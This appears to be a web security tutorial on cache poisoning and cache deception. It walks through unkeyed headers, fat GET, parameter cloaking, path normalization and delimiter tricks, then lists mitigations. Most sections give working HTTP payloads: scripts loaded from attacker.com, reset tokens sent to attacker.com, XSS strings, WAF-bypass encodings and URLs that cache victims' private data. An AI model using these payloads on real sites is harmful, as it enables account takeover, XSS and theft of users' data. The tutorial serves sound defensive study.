1. Identifying Cache Keys
A cache key is the set of request attributes the cache uses to determine if a stored response can be served. Typically: scheme + host + path + query string. Headers and cookies are usually not part of the cache key — meaning a response can vary based on a header while being cached the same for every user.
Detecting What Is Cached
# Add a unique cache-buster to isolate your probe
GET /js/app.js?cb=xtest1 HTTP/1.1
Host: target.com
# Second request — same buster — gets cached response:
GET /js/app.js?cb=xtest1 HTTP/1.1
Host: target.com
X-Cache: HIT # Cache served the response
Age: 12 # Seconds since caching
# New buster — fresh request to origin:
GET /js/app.js?cb=xtest2 HTTP/1.1
X-Cache: MISS # Origin served it
Determining If Headers Are Keyed
# Add a header and check if it changes the cache key
GET /?cb=xtest3 HTTP/1.1
Host: target.com
X-Forwarded-Host: anything
# If second identical request returns X-Cache: HIT,
# X-Forwarded-Host is NOT part of the cache key → unkeyed
# Headers commonly unkeyed (vary by CDN/cache config):
X-Forwarded-Host
X-Forwarded-Port
X-Forwarded-Scheme
X-Original-URL
X-Rewrite-URL
X-Host
Forwarded
True-Client-IP
2. Unkeyed Header — X-Forwarded-Host Poisoning
Many applications use X-Forwarded-Host to construct absolute URLs — for redirects, CSRF tokens, canonical link tags, and resource paths. When this header is unkeyed but reflected in the cached response, any user receiving the cached version gets the attacker's injected value in the HTML.
GET /?cb=poison1 HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
--- Response (cached) ---
HTTP/1.1 200 OK
X-Cache: MISS
Cache-Control: public, max-age=1800
<html>
<script src="//attacker.com/app.js"></script>
<link rel="canonical" href="//attacker.com/?cb=poison1">
</html>
Now serve a malicious app.js from attacker.com. Every user who receives the cached page loads your script, giving you XSS without ever injecting into the origin database.
# Verify cache picked it up (remove cb param to check real URL):
GET / HTTP/1.1
Host: target.com
X-Cache: HIT # Poisoned response served from cache
Age: 45 # Attacker's injected header is now in every user's response
X-Forwarded-Host in Password Reset Emails
An extremely high-impact variant: if the password reset flow uses X-Forwarded-Host to build the reset link, poison the cache for the reset endpoint and steal reset tokens.
POST /password-reset HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
Content-Type: application/x-www-form-urlencoded
[email protected]
--- Email sent to victim ---
Click here to reset your password:
https://attacker.com/reset?token=SECRET_TOKEN_HERE
# Token arrives at attacker.com — full account takeover
3. Unkeyed Port & Protocol Poisoning
X-Forwarded-Port and X-Forwarded-Scheme are similarly unkeyed in many configurations. They affect how the application constructs absolute URLs and HSTS redirects.
GET /?cb=porttest HTTP/1.1
Host: target.com
X-Forwarded-Port: 1337
--- Response ---
<link rel="stylesheet" href="http://target.com:1337/css/main.css">
<form action="http://target.com:1337/login">
# All cached users' forms now post to port 1337 — attacker's listener
# Scheme downgrade — strip HTTPS
GET /?cb=schemetest HTTP/1.1
Host: target.com
X-Forwarded-Scheme: http
--- Response ---
<script src="http://target.com/app.js"></script>
# Downgraded to HTTP — MitM possible for users receiving cached page
4. Fat GET — Cache Keys on Method but Ignores Body
The HTTP spec technically allows GET requests with a body, but most servers ignore it. Some caches key on the URL and method, and pass the full request to the origin — meaning the origin reads the body while the cache keys only on the URL. Inject a malicious parameter via the body while the cache keys on the clean URL.
GET /?cb=fatget1 HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
callback=<script>alert(1)</script>
--- Origin reflects body param in response ---
HTTP/1.1 200 OK
X-Cache: MISS
<p>Callback: <script>alert(1)</script></p>
The cache stored this response keyed only on GET /?cb=fatget1. Every subsequent request for that URL receives the XSS payload without the body — the cache never re-checks the body.
5. Cache Poisoning via DOM-Based XSS
The poisoned response does not need to contain server-reflected XSS. If a JavaScript file or JSON response is cached with an injected value, and the client-side code unsafely uses that value, you get DOM XSS delivered via cache to every user.
GET /config.js?cb=domtest1 HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com">/x
--- Cached config.js contains ---
var config = {
apiBase: "//attacker.com//x",
analyticsUrl: "//attacker.com"
};
--- Client-side code does ---
fetch(config.apiBase + '/user').then(r=>r.json()).then(processUser);
# Every user's browser makes authenticated requests to attacker.com
6. Parameter Cloaking
Some caches parse query strings differently from the origin server. A parameter that the origin reads as a separate key can be hidden from the cache — making it unkeyed — by exploiting delimiter differences.
# Cache sees: utm_content=masaaki (single param — no poisoning)
# Origin sees: utm_content=masaaki AND callback=alert(1)
# because origin's framework splits on semicolons too
GET /js/tracking.js?utm_content=masaaki;callback=alert(1) HTTP/1.1
Host: target.com
--- Cache key: /js/tracking.js?utm_content=masaaki;callback=alert(1) ---
# But Varnish/Cloudflare strips utm_* by default — let's verify:
GET /js/tracking.js?utm_content=masaaki;callback=alert(1) HTTP/1.1
X-Cache: MISS
GET /js/tracking.js?utm_content=masaaki;callback=alert(1) HTTP/1.1
X-Cache: HIT # Confirmed cached — callback param included in response
--- Cached response ---
alert(1)({"tracking": "data"});
# Any page loading /js/tracking.js?utm_content=masaaki executes alert(1)
Ruby on Rails Specific — Comma Separator
# Rails parses: /path?param[]=a,b as ["a","b"] array
# Cache may see it differently — test with:
GET /data?fields[]=name,<script>alert(1)</script> HTTP/1.1
7. Cache Key Normalization Tricks
Caches and origin servers may normalize URLs differently. A path that the cache considers identical to a cached path (due to case folding, encoding normalization, or dot-segment removal) will serve the cached response even though the origin would handle it differently.
# Encoding normalization — cache decodes %2F to /, origin doesn't
GET /api/users/masaaki%2Fadmin HTTP/1.1
# Cache normalizes to: /api/users/masaaki/admin → HIT on cached /api/users/masaaki/admin
# Origin receives raw: /api/users/masaaki%2Fadmin → different route
# Case normalization — cache lowercases path
GET /Admin/Dashboard HTTP/1.1 # Cache may key as /admin/dashboard
# Origin is case-sensitive and handles /Admin/Dashboard separately
# Double encoding bypasses WAF while cache normalizes to original
GET /search?q=%253cscript%253ealert(1)%253c%252fscript%253e HTTP/1.1
# WAF sees %25-encoded string (no XSS pattern)
# Cache stores as-is; origin double-decodes to <script>alert(1)</script>
8. Cache Deception — Path Confusion
Cache deception is the inverse of cache poisoning. The goal is to make the cache store a victim's private, authenticated response and then retrieve it as an unauthenticated user. The trick is constructing a URL that the origin treats as a dynamic authenticated endpoint but the cache treats as a static cacheable asset.
The origin server uses path-prefix routing and ignores the suffix. The cache uses file extension to decide cacheability.
# Origin: serves /account regardless of anything after it
# Cache: sees .css extension → caches for max-age
Step 1: Attacker crafts URL and sends it to victim
https://target.com/account/nonexistent.css
Step 2: Victim (masaaki) clicks link while logged in
GET /account/nonexistent.css HTTP/1.1
Host: target.com
Cookie: session=masaakis_session_token
--- Origin responds with masaaki's account page (full PII/API keys) ---
--- Cache stores it because .css is cacheable ---
HTTP/1.1 200 OK
Cache-Control: max-age=3600
X-Cache: MISS
<html>Account: [email protected] API-Key: sk-live-...</html>
Step 3: Attacker fetches same URL with no session cookie
GET /account/nonexistent.css HTTP/1.1
Host: target.com
HTTP/1.1 200 OK
X-Cache: HIT # Victim's account data served to unauthenticated attacker
9. Path Delimiter Confusion
Different components in the stack interpret path delimiters differently. What the cache sees as a path may be truncated or extended relative to what the origin sees. These discrepancies are the core of delimiter-based cache deception.
# Semicolon as path delimiter (Nginx/Tomcat treat ; as end of path)
GET /account;masaaki.css HTTP/1.1
# Nginx strips everything from ; onward → origin sees /account
# Cache sees full path /account;masaaki.css → keyed on .css extension
# URL-encoded newline
GET /account%0a.css HTTP/1.1
# Cache sees /account%0a.css → extension .css
# Some origin normalizers strip %0a → sees /account.css → serves account
# URL-encoded dot
GET /account%2e.css HTTP/1.1
# Cache: extension is .css
# Origin: %2e decoded to . → /account..css? Or path traversal?
# Encoded slash — cache treats as single path segment
GET /account%2fcacheme.css HTTP/1.1
# Cache sees: /account%2fcacheme.css → one segment with .css
# Origin decodes %2f to /: /account/cacheme.css → may route to /account handler
# Null byte (some caches stop at null)
GET /account%00.css HTTP/1.1
X-Cache: MISS and a caching header. Then request the same URL without authentication to confirm cache hit returns your data.
10. Cache Deception via Path Normalization Differences
When the cache normalizes a path before keying but the origin uses the raw path for routing, the same URL can be two different things to each component. This is exploitable for both poisoning and deception.
# Dot-segment resolution — cache resolves ../ before keying
GET /static/../account HTTP/1.1
# Cache normalizes: /static/../account → /account
# Cache key: /account — same as the real account page!
# Origin receives raw path and may serve account page
# Cache stores under /account key — poisons the real /account for everyone
# Reverse variant for deception:
GET /account/../../static/nonexistent.css HTTP/1.1
# Cache sees .css extension → cacheable
# Origin (before normalization) routes /account/... → account handler
11. Cookie-Based Cache Deception
If the cache strips cookies before keying (which many CDNs do for performance — cookies make responses "uncacheable" by default so the CDN strips them to force caching), an authenticated response can be cached and served to unauthenticated users.
# CDN configured to strip Cookie header before caching
# Cache-Control: public, max-age=300 set by origin (misconfiguration)
Victim request (authenticated):
GET /api/v1/user/profile HTTP/1.1
Cookie: session=masaaki_tok_abc123
CDN strips cookie → forwards to origin as:
GET /api/v1/user/profile HTTP/1.1
(no Cookie header)
Origin returns profile because it uses a different auth mechanism,
or the CDN re-adds the cookie for the origin but caches without it.
Origin response:
HTTP/1.1 200 OK
Cache-Control: public, max-age=300
Content-Type: application/json
{
"email": "[email protected]",
"api_key": "sk-live-supersecret",
"role": "admin"
}
Attacker fetches unauthenticated — gets HIT with victim's data.
12. Prevention & Mitigations
Vary header for unkeyed inputs
If your application uses a header (like X-Forwarded-Host) in response construction, include it in the Vary response header. This forces the cache to treat responses with different header values as separate cache entries.
Never use unvalidated headers in URLs
Do not use X-Forwarded-Host, X-Forwarded-Port, or any client-supplied header to construct absolute URLs, CSRF tokens, or resource paths. Use the application's configured base URL instead.
Cache-Control: private for authenticated responses
Responses that contain user-specific data must be served with Cache-Control: private, no-store. Never serve authenticated content with Cache-Control: public. Audit every authenticated endpoint.
Strict path matching at origin
Origin servers should reject or return 404 for paths containing unexpected suffixes on dynamic routes. Do not let /account/anything.css route to the account handler — validate paths strictly.
Normalize before caching
Ensure the cache and the origin agree on path normalization — dot-segments, percent-encoding, case sensitivity. Use CDN rules to normalize URLs before caching to prevent split-view attacks.
Disable fat GET / restrict body in GET
Configure origin servers to ignore GET request bodies. Validate that your cache does not forward GET body parameters to origin while keying only on URL.